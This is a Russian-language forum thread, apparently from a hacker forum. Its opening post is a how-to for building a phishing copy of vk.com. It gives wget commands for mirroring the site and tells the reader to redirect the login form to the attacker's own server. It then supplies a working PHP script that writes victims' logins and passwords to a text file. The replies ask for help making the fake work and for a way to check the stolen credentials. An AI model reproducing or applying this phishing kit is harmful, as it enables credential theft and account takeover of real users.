Создание простой фейковой страницы (scam) с записью данных в файл

[Paukan]

Фейковые страницы, они же scam'ы, создаются с целью ввести жертву в заблуждение, чтобы та сама ввела свой логин и пароль на чужом сайте.

Фейковые страницы бывают разные по сложности, но если она не похожа на оригинал, то затея заранее бессмысленна. Поэтому даже самый простейший scam не должен отличаться от оригинала.

Проще всего создать полную копию страницы можно с помощью программы wget. Данная программа есть по умолчанию практически во всех linux дистрибутивах (возможно в mac тоже), но вот в windows её нет. Но её порт можно скачать здесь.

Порт для windows весьма корявый, но работает. После установки следует перейти к exe файлу в командной строке (например: cd C:\Programm Files\GnuWin32\bin), а уже потом можно работать с wget, как и в linux.

В качестве примера рассмотрим создание фишинговой страницы vk.com. Если нужно скопировать всего одну страницу, то следует ввести команду:

wget –k vk.com

В тоже место откуда была запущена команда скопируется файл index.html. Если нужно скопировать в его определённое место, то для этого есть ключ «–O». Пример на скриншоте (кодировка глючит из-за корявого порта).



Очень важный ключ «-k». Он позволяет не просто получить html вариант страницы, но и преобразовать все ссылки так, чтобы прогружались стили и картинки.
Если есть желание, чтобы все основные стили, картинки и библиотеки грузились именно с вашего хостинга, то можно включить рекурсивную загрузку с глубиной в 1 шаг:

wget -r -l1 -k vk.com

А можно и вовсе стащить целый сайт:

wget -mk vk.com

Программа имеет колоссальное количество возможностей и очень проста в использовании. Более подробную информацию о ней можно получить, введя команду wget –h. Если глючит кодировка, то можно посмотреть здесь.

Когда страница/сайт скачен, то можно приступать к редактированию, чтобы логин и пароль записывались в файл.

В index.html будут примерно такие строки (проще всего искать по запросу login)



Нужно заменить адрес, куда уходят данные об авторизации на наш. Значит, меняем https://login.vk.com/?act=login на http://ваш_хостинг/login.php.

Теперь нужно создать сам файл login.php
Для vk.com идеально подходит такой вариант:

<?
$Login = $_POST['email'];
$Password = $_POST['pass'];

$filename = "base.txt";
$file = fopen($filename, "a+" );
 fputs ($file, 'login_name: '.$Login."\n");
 fputs ($file, 'login_password: '.$Password."\n");
 fputs ($file, '------------------'."\n");
fclose($file);
?>

Если нужно создать фейковую страницу для другого сайта, то первых две переменных придётся слегка заменить. В данном случае 'email' и 'pass' получили отсюда:



Просто нужно посмотреть значение 'name=' и подставить их в файл login.php

Остаётся только создать файл base.txt и дать права на запись (Обязательно!! Почему-то про это часто забывают).

Простейшая фейковая страница готова. Она ничуть не отличается по дизайну, зато отлично запоминает данные, которые на ней вводят.



Позже будут рассмотрены более сложные примеры фейковых страниц. Например, чтобы данные проверялись на валидность, была возможность отправлять результаты на почту и тому подобное. Но описание того, как скачать полную копию страницы, будет только в этой статье.

[interestingyy]

Делаю я по инструкции. Хочу сделать фейк VK.COM
ввожу wget –k vk.com - но копируется домен m.vk.com и сохраняеться в соотвт папке.

А как сделать копирование именно домена VK.COM и всего, что там понапичкано))





вау.. ух ты.. большое спасибо вам! а вы не поможете мне разобраться вот с этой темой? я вижу, вы классно разбираетесь.. _http://forum.softxaker.ru/showthread.php?t=5865&page=2

[Danon]

Жаль тема заглохна
А то очень хотелось бы узнать как сделать, чтобы проверялась валидность логин/пасс

[robotbyn]

интересно